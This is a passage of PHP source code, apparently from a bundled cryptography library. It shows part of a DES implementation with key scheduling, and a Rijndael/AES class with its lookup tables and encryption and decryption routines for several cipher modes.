15) | (($block[1] & 0x00800002) << 6) | (($block[0] & 0x00000080) << 20) | (($block[0] & 0x00008000) << 11) | (($block[0] & 0x00800002) << 2) | (($block[1] & 0x00000020) << 18) | (($block[1] & 0x00002000) << 9) | ($block[1] & 0x00200000) | (($block[1] & 0x20000000) >> 9) | (($block[0] & 0x00000020) << 14) | (($block[0] & 0x00002000) << 5) | (($block[0] & 0x00200000) >> 4) | (($block[0] & 0x20000000) >> 13) | (($block[1] & 0x00000008) << 12) | (($block[1] & 0x00000800) << 3) | (($block[1] & 0x00080000) >> 6) | (($block[1] & 0x08000000) >> 15) | (($block[0] & 0x00000008) << 8) | (($block[0] & 0x00000800) >> 1) | (($block[0] & 0x00080000) >> 10) | (($block[0] & 0x08000000) >> 19) | (($block[1] & 0x00000200) >> 3) | (($block[0] & 0x00000200) >> 7) | (($block[1] & 0x00020000) >> 12) | (($block[1] & 0x02000000) >> 21) | (($block[0] & 0x00020000) >> 16) | (($block[0] & 0x02000000) >> 25) | ($msb[1] << 28) | ($msb[0] << 24) ); for ($i = 0; $i < 16; $i++) { $temp = (($sbox[0][((($block[1] >> 27) & 0x1F) | (($block[1] & 1) << 5)) ^ $keys[$mode][$i][0]]) << 28) | (($sbox[1][(($block[1] & 0x1F800000) >> 23) ^ $keys[$mode][$i][1]]) << 24) | (($sbox[2][(($block[1] & 0x01F80000) >> 19) ^ $keys[$mode][$i][2]]) << 20) | (($sbox[3][(($block[1] & 0x001F8000) >> 15) ^ $keys[$mode][$i][3]]) << 16) | (($sbox[4][(($block[1] & 0x0001F800) >> 11) ^ $keys[$mode][$i][4]]) << 12) | (($sbox[5][(($block[1] & 0x00001F80) >> 7) ^ $keys[$mode][$i][5]]) << 8) | (($sbox[6][(($block[1] & 0x000001F8) >> 3) ^ $keys[$mode][$i][6]]) << 4) | ($sbox[7][((($block[1] & 0x1F) << 1) | (($block[1] >> 31) & 1)) ^ $keys[$mode][$i][7]]); $msb = ($temp >> 31) & 1; $temp&= 0x7FFFFFFF; $newBlock = (($temp & 0x00010000) << 15) | (($temp & 0x02020120) << 5) | (($temp & 0x00001800) << 17) | (($temp & 0x01000000) >> 10) | (($temp & 0x00000008) << 24) | (($temp & 0x00100000) << 6) | (($temp & 0x00000010) << 21) | (($temp & 0x00008000) << 9) | (($temp & 0x00000200) << 12) | (($temp & 0x10000000) >> 27) | (($temp & 0x00000040) << 14) | (($temp & 0x08000000) >> 8) | (($temp & 0x00004000) << 4) | (($temp & 0x00000002) << 16) | (($temp & 0x00442000) >> 6) | (($temp & 0x40800000) >> 15) | (($temp & 0x00000001) << 11) | (($temp & 0x20000000) >> 20) | (($temp & 0x00080000) >> 13) | (($temp & 0x00000004) << 3) | (($temp & 0x04000000) >> 22) | (($temp & 0x00000480) >> 7) | (($temp & 0x00200000) >> 19) | ($msb << 23); $temp = $block[1]; $block[1] = $block[0] ^ $newBlock; $block[0] = $temp; } $msb = array( ($block[0] >> 31) & 1, ($block[1] >> 31) & 1 ); $block[0]&= 0x7FFFFFFF; $block[1]&= 0x7FFFFFFF; $block = array( (($block[0] & 0x01000004) << 7) | (($block[1] & 0x01000004) << 6) | (($block[0] & 0x00010000) << 13) | (($block[1] & 0x00010000) << 12) | (($block[0] & 0x00000100) << 19) | (($block[1] & 0x00000100) << 18) | (($block[0] & 0x00000001) << 25) | (($block[1] & 0x00000001) << 24) | (($block[0] & 0x02000008) >> 2) | (($block[1] & 0x02000008) >> 3) | (($block[0] & 0x00020000) << 4) | (($block[1] & 0x00020000) << 3) | (($block[0] & 0x00000200) << 10) | (($block[1] & 0x00000200) << 9) | (($block[0] & 0x00000002) << 16) | (($block[1] & 0x00000002) << 15) | (($block[0] & 0x04000000) >> 11) | (($block[1] & 0x04000000) >> 12) | (($block[0] & 0x00040000) >> 5) | (($block[1] & 0x00040000) >> 6) | (($block[0] & 0x00000400) << 1) | ($block[1] & 0x00000400) | (($block[0] & 0x08000000) >> 20) | (($block[1] & 0x08000000) >> 21) | (($block[0] & 0x00080000) >> 14) | (($block[1] & 0x00080000) >> 15) | (($block[0] & 0x00000800) >> 8) | (($block[1] & 0x00000800) >> 9) , (($block[0] & 0x10000040) << 3) | (($block[1] & 0x10000040) << 2) | (($block[0] & 0x00100000) << 9) | (($block[1] & 0x00100000) << 8) | (($block[0] & 0x00001000) << 15) | (($block[1] & 0x00001000) << 14) | (($block[0] & 0x00000010) << 21) | (($block[1] & 0x00000010) << 20) | (($block[0] & 0x20000080) >> 6) | (($block[1] & 0x20000080) >> 7) | ($block[0] & 0x00200000) | (($block[1] & 0x00200000) >> 1) | (($block[0] & 0x00002000) << 6) | (($block[1] & 0x00002000) << 5) | (($block[0] & 0x00000020) << 12) | (($block[1] & 0x00000020) << 11) | (($block[0] & 0x40000000) >> 15) | (($block[1] & 0x40000000) >> 16) | (($block[0] & 0x00400000) >> 9) | (($block[1] & 0x00400000) >> 10) | (($block[0] & 0x00004000) >> 3) | (($block[1] & 0x00004000) >> 4) | (($block[0] & 0x00800000) >> 18) | (($block[1] & 0x00800000) >> 19) | (($block[0] & 0x00008000) >> 12) | (($block[1] & 0x00008000) >> 13) | ($msb[0] << 7) | ($msb[1] << 6) ); return pack('NN', $block[0], $block[1]); } function _prepareKey($key) { static $shifts = array( 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ); $key = str_pad(substr($key, 0, 8) , 8, chr(0)); $temp = unpack('Na/Nb', $key); $key = array( $temp['a'], $temp['b'] ); $msb = array( ($key[0] >> 31) & 1, ($key[1] >> 31) & 1 ); $key[0]&= 0x7FFFFFFF; $key[1]&= 0x7FFFFFFF; $key = array( (($key[1] & 0x00000002) << 26) | (($key[1] & 0x00000204) << 17) | (($key[1] & 0x00020408) << 8) | (($key[1] & 0x02040800) >> 1) | (($key[0] & 0x00000002) << 22) | (($key[0] & 0x00000204) << 13) | (($key[0] & 0x00020408) << 4) | (($key[0] & 0x02040800) >> 5) | (($key[1] & 0x04080000) >> 10) | (($key[0] & 0x04080000) >> 14) | (($key[1] & 0x08000000) >> 19) | (($key[0] & 0x08000000) >> 23) | (($key[0] & 0x00000010) >> 1) | (($key[0] & 0x00001000) >> 10) | (($key[0] & 0x00100000) >> 19) | (($key[0] & 0x10000000) >> 28) , (($key[1] & 0x00000080) << 20) | (($key[1] & 0x00008000) << 11) | (($key[1] & 0x00800000) << 2) | (($key[0] & 0x00000080) << 16) | (($key[0] & 0x00008000) << 7) | (($key[0] & 0x00800000) >> 2) | (($key[1] & 0x00000040) << 13) | (($key[1] & 0x00004000) << 4) | (($key[1] & 0x00400000) >> 5) | (($key[1] & 0x40000000) >> 14) | (($key[0] & 0x00000040) << 9) | ($key[0] & 0x00004000) | (($key[0] & 0x00400000) >> 9) | (($key[0] & 0x40000000) >> 18) | (($key[1] & 0x00000020) << 6) | (($key[1] & 0x00002000) >> 3) | (($key[1] & 0x00200000) >> 12) | (($key[1] & 0x20000000) >> 21) | (($key[0] & 0x00000020) << 2) | (($key[0] & 0x00002000) >> 7) | (($key[0] & 0x00200000) >> 16) | (($key[0] & 0x20000000) >> 25) | (($key[1] & 0x00000010) >> 1) | (($key[1] & 0x00001000) >> 10) | (($key[1] & 0x00100000) >> 19) | (($key[1] & 0x10000000) >> 28) | ($msb[1] << 24) | ($msb[0] << 20) ); $keys = array(); for ($i = 0; $i < 16; $i++) { $key[0] <<= $shifts[$i]; $temp = ($key[0] & 0xF0000000) >> 28; $key[0] = ($key[0] | $temp) & 0x0FFFFFFF; $key[1] <<= $shifts[$i]; $temp = ($key[1] & 0xF0000000) >> 28; $key[1] = ($key[1] | $temp) & 0x0FFFFFFF; $temp = array( (($key[1] & 0x00004000) >> 9) | (($key[1] & 0x00000800) >> 7) | (($key[1] & 0x00020000) >> 14) | (($key[1] & 0x00000010) >> 2) | (($key[1] & 0x08000000) >> 26) | (($key[1] & 0x00800000) >> 23) , (($key[1] & 0x02400000) >> 20) | (($key[1] & 0x00000001) << 4) | (($key[1] & 0x00002000) >> 10) | (($key[1] & 0x00040000) >> 18) | (($key[1] & 0x00000080) >> 6) , ($key[1] & 0x00000020) | (($key[1] & 0x00000200) >> 5) | (($key[1] & 0x00010000) >> 13) | (($key[1] & 0x01000000) >> 22) | (($key[1] & 0x00000004) >> 1) | (($key[1] & 0x00100000) >> 20) , (($key[1] & 0x00001000) >> 7) | (($key[1] & 0x00200000) >> 17) | (($key[1] & 0x00000002) << 2) | (($key[1] & 0x00000100) >> 6) | (($key[1] & 0x00008000) >> 14) | (($key[1] & 0x04000000) >> 26) , (($key[0] & 0x00008000) >> 10) | ($key[0] & 0x00000010) | (($key[0] & 0x02000000) >> 22) | (($key[0] & 0x00080000) >> 17) | (($key[0] & 0x00000200) >> 8) | (($key[0] & 0x00000002) >> 1) , (($key[0] & 0x04000000) >> 21) | (($key[0] & 0x00010000) >> 12) | (($key[0] & 0x00000020) >> 2) | (($key[0] & 0x00000800) >> 9) | (($key[0] & 0x00800000) >> 22) | (($key[0] & 0x00000100) >> 8) , (($key[0] & 0x00001000) >> 7) | (($key[0] & 0x00000088) >> 3) | (($key[0] & 0x00020000) >> 14) | (($key[0] & 0x00000001) << 2) | (($key[0] & 0x00400000) >> 21) , (($key[0] & 0x00000400) >> 5) | (($key[0] & 0x00004000) >> 10) | (($key[0] & 0x00000040) >> 3) | (($key[0] & 0x00100000) >> 18) | (($key[0] & 0x08000000) >> 26) | (($key[0] & 0x01000000) >> 24) ); $keys[] = $temp; } $temp = array( CRYPT_DES_ENCRYPT => $keys, CRYPT_DES_DECRYPT => array_reverse($keys) ); return $temp; } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } } define('CRYPT_DES_MODE_3CBC', -2); define('CRYPT_DES_MODE_CBC3', CRYPT_DES_MODE_CBC); define('CRYPT_RIJNDAEL_MODE_CTR', -1); define('CRYPT_RIJNDAEL_MODE_ECB', 1); define('CRYPT_RIJNDAEL_MODE_CBC', 2); define('CRYPT_RIJNDAEL_MODE_CFB', 3); define('CRYPT_RIJNDAEL_MODE_OFB', 4); define('CRYPT_RIJNDAEL_MODE_INTERNAL', 1); define('CRYPT_RIJNDAEL_MODE_MCRYPT', 2); class Crypt_Rijndael { var $mode; var $key = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; var $iv = ''; var $encryptIV = ''; var $decryptIV = ''; var $continuousBuffer = false; var $padding = true; var $changed = true; var $explicit_key_length = false; var $w; var $dw; var $block_size = 16; var $Nb = 4; var $key_size = 16; var $Nk = 4; var $Nr; var $c; var $t0; var $t1; var $t2; var $t3; var $dt0; var $dt1; var $dt2; var $dt3; var $paddable = false; var $enbuffer = array( 'encrypted' => '', 'xor' => '' ); var $debuffer = array( 'ciphertext' => '' ); function Crypt_Rijndael($mode = CRYPT_RIJNDAEL_MODE_CBC) { switch ($mode) { case CRYPT_RIJNDAEL_MODE_ECB: case CRYPT_RIJNDAEL_MODE_CBC: $this->paddable = true; $this->mode = $mode; break; case CRYPT_RIJNDAEL_MODE_CTR: case CRYPT_RIJNDAEL_MODE_CFB: case CRYPT_RIJNDAEL_MODE_OFB: $this->mode = $mode; break; default: $this->paddable = true; $this->mode = CRYPT_RIJNDAEL_MODE_CBC; } $t3 = & $this->t3; $t2 = & $this->t2; $t1 = & $this->t1; $t0 = & $this->t0; $dt3 = & $this->dt3; $dt2 = & $this->dt2; $dt1 = & $this->dt1; $dt0 = & $this->dt0; $t3 = array( 0x6363A5C6, 0x7C7C84F8, 0x777799EE, 0x7B7B8DF6, 0xF2F20DFF, 0x6B6BBDD6, 0x6F6FB1DE, 0xC5C55491, 0x30305060, 0x01010302, 0x6767A9CE, 0x2B2B7D56, 0xFEFE19E7, 0xD7D762B5, 0xABABE64D, 0x76769AEC, 0xCACA458F, 0x82829D1F, 0xC9C94089, 0x7D7D87FA, 0xFAFA15EF, 0x5959EBB2, 0x4747C98E, 0xF0F00BFB, 0xADADEC41, 0xD4D467B3, 0xA2A2FD5F, 0xAFAFEA45, 0x9C9CBF23, 0xA4A4F753, 0x727296E4, 0xC0C05B9B, 0xB7B7C275, 0xFDFD1CE1, 0x9393AE3D, 0x26266A4C, 0x36365A6C, 0x3F3F417E, 0xF7F702F5, 0xCCCC4F83, 0x34345C68, 0xA5A5F451, 0xE5E534D1, 0xF1F108F9, 0x717193E2, 0xD8D873AB, 0x31315362, 0x15153F2A, 0x04040C08, 0xC7C75295, 0x23236546, 0xC3C35E9D, 0x18182830, 0x9696A137, 0x05050F0A, 0x9A9AB52F, 0x0707090E, 0x12123624, 0x80809B1B, 0xE2E23DDF, 0xEBEB26CD, 0x2727694E, 0xB2B2CD7F, 0x75759FEA, 0x09091B12, 0x83839E1D, 0x2C2C7458, 0x1A1A2E34, 0x1B1B2D36, 0x6E6EB2DC, 0x5A5AEEB4, 0xA0A0FB5B, 0x5252F6A4, 0x3B3B4D76, 0xD6D661B7, 0xB3B3CE7D, 0x29297B52, 0xE3E33EDD, 0x2F2F715E, 0x84849713, 0x5353F5A6, 0xD1D168B9, 0x00000000, 0xEDED2CC1, 0x20206040, 0xFCFC1FE3, 0xB1B1C879, 0x5B5BEDB6, 0x6A6ABED4, 0xCBCB468D, 0xBEBED967, 0x39394B72, 0x4A4ADE94, 0x4C4CD498, 0x5858E8B0, 0xCFCF4A85, 0xD0D06BBB, 0xEFEF2AC5, 0xAAAAE54F, 0xFBFB16ED, 0x4343C586, 0x4D4DD79A, 0x33335566, 0x85859411, 0x4545CF8A, 0xF9F910E9, 0x02020604, 0x7F7F81FE, 0x5050F0A0, 0x3C3C4478, 0x9F9FBA25, 0xA8A8E34B, 0x5151F3A2, 0xA3A3FE5D, 0x4040C080, 0x8F8F8A05, 0x9292AD3F, 0x9D9DBC21, 0x38384870, 0xF5F504F1, 0xBCBCDF63, 0xB6B6C177, 0xDADA75AF, 0x21216342, 0x10103020, 0xFFFF1AE5, 0xF3F30EFD, 0xD2D26DBF, 0xCDCD4C81, 0x0C0C1418, 0x13133526, 0xECEC2FC3, 0x5F5FE1BE, 0x9797A235, 0x4444CC88, 0x1717392E, 0xC4C45793, 0xA7A7F255, 0x7E7E82FC, 0x3D3D477A, 0x6464ACC8, 0x5D5DE7BA, 0x19192B32, 0x737395E6, 0x6060A0C0, 0x81819819, 0x4F4FD19E, 0xDCDC7FA3, 0x22226644, 0x2A2A7E54, 0x9090AB3B, 0x8888830B, 0x4646CA8C, 0xEEEE29C7, 0xB8B8D36B, 0x14143C28, 0xDEDE79A7, 0x5E5EE2BC, 0x0B0B1D16, 0xDBDB76AD, 0xE0E03BDB, 0x32325664, 0x3A3A4E74, 0x0A0A1E14, 0x4949DB92, 0x06060A0C, 0x24246C48, 0x5C5CE4B8, 0xC2C25D9F, 0xD3D36EBD, 0xACACEF43, 0x6262A6C4, 0x9191A839, 0x9595A431, 0xE4E437D3, 0x79798BF2, 0xE7E732D5, 0xC8C8438B, 0x3737596E, 0x6D6DB7DA, 0x8D8D8C01, 0xD5D564B1, 0x4E4ED29C, 0xA9A9E049, 0x6C6CB4D8, 0x5656FAAC, 0xF4F407F3, 0xEAEA25CF, 0x6565AFCA, 0x7A7A8EF4, 0xAEAEE947, 0x08081810, 0xBABAD56F, 0x787888F0, 0x25256F4A, 0x2E2E725C, 0x1C1C2438, 0xA6A6F157, 0xB4B4C773, 0xC6C65197, 0xE8E823CB, 0xDDDD7CA1, 0x74749CE8, 0x1F1F213E, 0x4B4BDD96, 0xBDBDDC61, 0x8B8B860D, 0x8A8A850F, 0x707090E0, 0x3E3E427C, 0xB5B5C471, 0x6666AACC, 0x4848D890, 0x03030506, 0xF6F601F7, 0x0E0E121C, 0x6161A3C2, 0x35355F6A, 0x5757F9AE, 0xB9B9D069, 0x86869117, 0xC1C15899, 0x1D1D273A, 0x9E9EB927, 0xE1E138D9, 0xF8F813EB, 0x9898B32B, 0x11113322, 0x6969BBD2, 0xD9D970A9, 0x8E8E8907, 0x9494A733, 0x9B9BB62D, 0x1E1E223C, 0x87879215, 0xE9E920C9, 0xCECE4987, 0x5555FFAA, 0x28287850, 0xDFDF7AA5, 0x8C8C8F03, 0xA1A1F859, 0x89898009, 0x0D0D171A, 0xBFBFDA65, 0xE6E631D7, 0x4242C684, 0x6868B8D0, 0x4141C382, 0x9999B029, 0x2D2D775A, 0x0F0F111E, 0xB0B0CB7B, 0x5454FCA8, 0xBBBBD66D, 0x16163A2C ); $dt3 = array( 0xF4A75051, 0x4165537E, 0x17A4C31A, 0x275E963A, 0xAB6BCB3B, 0x9D45F11F, 0xFA58ABAC, 0xE303934B, 0x30FA5520, 0x766DF6AD, 0xCC769188, 0x024C25F5, 0xE5D7FC4F, 0x2ACBD7C5, 0x35448026, 0x62A38FB5, 0xB15A49DE, 0xBA1B6725, 0xEA0E9845, 0xFEC0E15D, 0x2F7502C3, 0x4CF01281, 0x4697A38D, 0xD3F9C66B, 0x8F5FE703, 0x929C9515, 0x6D7AEBBF, 0x5259DA95, 0xBE832DD4, 0x7421D358, 0xE0692949, 0xC9C8448E, 0xC2896A75, 0x8E7978F4, 0x583E6B99, 0xB971DD27, 0xE14FB6BE, 0x88AD17F0, 0x20AC66C9, 0xCE3AB47D, 0xDF4A1863, 0x1A3182E5, 0x51336097, 0x537F4562, 0x6477E0B1, 0x6BAE84BB, 0x81A01CFE, 0x082B94F9, 0x48685870, 0x45FD198F, 0xDE6C8794, 0x7BF8B752, 0x73D323AB, 0x4B02E272, 0x1F8F57E3, 0x55AB2A66, 0xEB2807B2, 0xB5C2032F, 0xC57B9A86, 0x3708A5D3, 0x2887F230, 0xBFA5B223, 0x036ABA02, 0x16825CED, 0xCF1C2B8A, 0x79B492A7, 0x07F2F0F3, 0x69E2A14E, 0xDAF4CD65, 0x05BED506, 0x34621FD1, 0xA6FE8AC4, 0x2E539D34, 0xF355A0A2, 0x8AE13205, 0xF6EB75A4, 0x83EC390B, 0x60EFAA40, 0x719F065E, 0x6E1051BD, 0x218AF93E, 0xDD063D96, 0x3E05AEDD, 0xE6BD464D, 0x548DB591, 0xC45D0571, 0x06D46F04, 0x5015FF60, 0x98FB2419, 0xBDE997D6, 0x4043CC89, 0xD99E7767, 0xE842BDB0, 0x898B8807, 0x195B38E7, 0xC8EEDB79, 0x7C0A47A1, 0x420FE97C, 0x841EC9F8, 0x00000000, 0x80868309, 0x2BED4832, 0x1170AC1E, 0x5A724E6C, 0x0EFFFBFD, 0x8538560F, 0xAED51E3D, 0x2D392736, 0x0FD9640A, 0x5CA62168, 0x5B54D19B, 0x362E3A24, 0x0A67B10C, 0x57E70F93, 0xEE96D2B4, 0x9B919E1B, 0xC0C54F80, 0xDC20A261, 0x774B695A, 0x121A161C, 0x93BA0AE2, 0xA02AE5C0, 0x22E0433C, 0x1B171D12, 0x090D0B0E, 0x8BC7ADF2, 0xB6A8B92D, 0x1EA9C814, 0xF1198557, 0x75074CAF, 0x99DDBBEE, 0x7F60FDA3, 0x01269FF7, 0x72F5BC5C, 0x663BC544, 0xFB7E345B, 0x4329768B, 0x23C6DCCB, 0xEDFC68B6, 0xE4F163B8, 0x31DCCAD7, 0x63851042, 0x97224013, 0xC6112084, 0x4A247D85, 0xBB3DF8D2, 0xF93211AE, 0x29A16DC7, 0x9E2F4B1D, 0xB230F3DC, 0x8652EC0D, 0xC1E3D077, 0xB3166C2B, 0x70B999A9, 0x9448FA11, 0xE9642247, 0xFC8CC4A8, 0xF03F1AA0, 0x7D2CD856, 0x3390EF22, 0x494EC787, 0x38D1C1D9, 0xCAA2FE8C, 0xD40B3698, 0xF581CFA6, 0x7ADE28A5, 0xB78E26DA, 0xADBFA43F, 0x3A9DE42C, 0x78920D50, 0x5FCC9B6A, 0x7E466254, 0x8D13C2F6, 0xD8B8E890, 0x39F75E2E, 0xC3AFF582, 0x5D80BE9F, 0xD0937C69, 0xD52DA96F, 0x2512B3CF, 0xAC993BC8, 0x187DA710, 0x9C636EE8, 0x3BBB7BDB, 0x267809CD, 0x5918F46E, 0x9AB701EC, 0x4F9AA883, 0x956E65E6, 0xFFE67EAA, 0xBCCF0821, 0x15E8E6EF, 0xE79BD9BA, 0x6F36CE4A, 0x9F09D4EA, 0xB07CD629, 0xA4B2AF31, 0x3F23312A, 0xA59430C6, 0xA266C035, 0x4EBC3774, 0x82CAA6FC, 0x90D0B0E0, 0xA7D81533, 0x04984AF1, 0xECDAF741, 0xCD500E7F, 0x91F62F17, 0x4DD68D76, 0xEFB04D43, 0xAA4D54CC, 0x9604DFE4, 0xD1B5E39E, 0x6A881B4C, 0x2C1FB8C1, 0x65517F46, 0x5EEA049D, 0x8C355D01, 0x877473FA, 0x0B412EFB, 0x671D5AB3, 0xDBD25292, 0x105633E9, 0xD647136D, 0xD7618C9A, 0xA10C7A37, 0xF8148E59, 0x133C89EB, 0xA927EECE, 0x61C935B7, 0x1CE5EDE1, 0x47B13C7A, 0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F, 0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064, 0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0 ); for ($i = 0; $i < 256; $i++) { $t2[$i << 8] = (($t3[$i] << 8) & 0xFFFFFF00) | (($t3[$i] >> 24) & 0x000000FF); $t1[$i << 16] = (($t3[$i] << 16) & 0xFFFF0000) | (($t3[$i] >> 16) & 0x0000FFFF); $t0[$i << 24] = (($t3[$i] << 24) & 0xFF000000) | (($t3[$i] >> 8) & 0x00FFFFFF); $dt2[$i << 8] = (($this->dt3[$i] << 8) & 0xFFFFFF00) | (($dt3[$i] >> 24) & 0x000000FF); $dt1[$i << 16] = (($this->dt3[$i] << 16) & 0xFFFF0000) | (($dt3[$i] >> 16) & 0x0000FFFF); $dt0[$i << 24] = (($this->dt3[$i] << 24) & 0xFF000000) | (($dt3[$i] >> 8) & 0x00FFFFFF); } } function setKey($key) { $this->key = $key; $this->changed = true; } function setIV($iv) { $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($iv, 0, $this->block_size) , $this->block_size, chr(0));; } function setKeyLength($length) { $length >>= 5; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nk = $length; $this->key_size = $length << 2; $this->explicit_key_length = true; $this->changed = true; } function setBlockLength($length) { $length >>= 5; if ($length > 8) { $length = 8; } else if ($length < 4) { $length = 4; } $this->Nb = $length; $this->block_size = $length << 2; $this->changed = true; } function _generate_xor($length, &$iv) { $xor = ''; $block_size = $this->block_size; $num_blocks = floor(($length + ($block_size - 1)) / $block_size); for ($i = 0; $i < $num_blocks; $i++) { $xor.= $iv; for ($j = 4; $j <= $block_size; $j+= 4) { $temp = substr($iv, -$j, 4); switch ($temp) { case "\xFF\xFF\xFF\xFF": $iv = substr_replace($iv, "\x00\x00\x00\x00", -$j, 4); break; case "\x7F\xFF\xFF\xFF": $iv = substr_replace($iv, "\x80\x00\x00\x00", -$j, 4); break 2; default: extract(unpack('Ncount', $temp)); $iv = substr_replace($iv, pack('N', $count + 1) , -$j, 4); break 2; } } } return $xor; } function encrypt($plaintext) { $this->_setup(); if ($this->paddable) { $plaintext = $this->_pad($plaintext); } $block_size = $this->block_size; $buffer = & $this->enbuffer; $continuousBuffer = $this->continuousBuffer; $ciphertext = ''; switch ($this->mode) { case CRYPT_RIJNDAEL_MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $ciphertext.= $this->_encryptBlock(substr($plaintext, $i, $block_size)); } break; case CRYPT_RIJNDAEL_MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $block = $this->_encryptBlock($block ^ $xor); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) { $this->encryptIV = $xor; } break; case CRYPT_RIJNDAEL_MODE_CTR: $xor = $this->encryptIV; if (!empty($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $buffer.= $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $key = $this->_string_shift($buffer, $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $key = $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $ciphertext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_RIJNDAEL_MODE_CFB: if (!empty($buffer['xor'])) { $ciphertext = $plaintext ^ $buffer['xor']; $iv = $buffer['encrypted'] . $ciphertext; $start = strlen($ciphertext); $buffer['encrypted'].= $ciphertext; $buffer['xor'] = substr($buffer['xor'], strlen($ciphertext)); } else { $ciphertext = ''; $iv = $this->encryptIV; $start = 0; } for ($i = $start; $i < strlen($plaintext); $i+= $block_size) { $block = substr($plaintext, $i, $block_size); $xor = $this->_encryptBlock($iv); $iv = $block ^ $xor; if ($continuousBuffer && strlen($iv) != $block_size) { $buffer = array( 'encrypted' => $iv, 'xor' => substr($xor, strlen($iv)) ); } $ciphertext.= $iv; } if ($this->continuousBuffer) { $this->encryptIV = $iv; } break; case CRYPT_RIJNDAEL_MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $buffer.= $xor; $key = $this->_string_shift($buffer, $block_size); $ciphertext.= substr($plaintext, $i, $block_size) ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $ciphertext.= substr($plaintext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } } return $ciphertext; } function decrypt($ciphertext) { $this->_setup(); if ($this->paddable) { $ciphertext = str_pad($ciphertext, strlen($ciphertext) + ($this->block_size - strlen($ciphertext) % $this->block_size) % $this->block_size, chr(0)); } $block_size = $this->block_size; $buffer = & $this->debuffer; $continuousBuffer = $this->continuousBuffer; $plaintext = ''; switch ($this->mode) { case CRYPT_RIJNDAEL_MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $plaintext.= $this->_decryptBlock(substr($ciphertext, $i, $block_size)); } break; case CRYPT_RIJNDAEL_MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $plaintext.= $this->_decryptBlock($block) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV = $xor; } break; case CRYPT_RIJNDAEL_MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $buffer.= $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $key = $this->_string_shift($buffer, $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $key = $this->_encryptBlock($this->_generate_xor($block_size, $xor)); $plaintext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } break; case CRYPT_RIJNDAEL_MODE_CFB: if (!empty($buffer['ciphertext'])) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($buffer['ciphertext'])); $buffer['ciphertext'].= substr($ciphertext, 0, strlen($plaintext)); if (strlen($buffer['ciphertext']) == $block_size) { $xor = $this->_encryptBlock($buffer['ciphertext']); $buffer['ciphertext'] = ''; } $start = strlen($plaintext); $block = $this->decryptIV; } else { $plaintext = ''; $xor = $this->_encryptBlock($this->decryptIV); $start = 0; } for ($i = $start; $i < strlen($ciphertext); $i+= $block_size) { $block = substr($ciphertext, $i, $block_size); $plaintext.= $block ^ $xor; if ($continuousBuffer && strlen($block) != $block_size) { $buffer['ciphertext'].= $block; $block = $xor; } else if (strlen($block) == $block_size) { $xor = $this->_encryptBlock($block); } } if ($this->continuousBuffer) { $this->decryptIV = $block; } break; case CRYPT_RIJNDAEL_MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer)) { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $buffer.= $xor; $key = $this->_string_shift($buffer, $block_size); $plaintext.= substr($ciphertext, $i, $block_size) ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+= $block_size) { $xor = $this->_encryptBlock($xor); $plaintext.= substr($ciphertext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer = substr($key, $start) . $buffer; } } } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } function _encryptBlock($in) { $state = array(); $words = unpack('N*word', $in); $w = $this->w; $t0 = $this->t0; $t1 = $this->t1; $t2 = $this->t2; $t3 = $this->t3; $Nb = $this->Nb; $Nr = $this->Nr; $c = $this->c; $i = 0; foreach($words as $word) { $state[] = $word ^ $w[0][$i++]; } $temp = array(); for ($round = 1; $round < $Nr; $round++) { $i = 0; $j = $c[1]; $k = $c[2]; $l = $c[3]; while ($i < $this->Nb) { $temp[$i] = $t0[$state[$i] & 0xFF000000] ^ 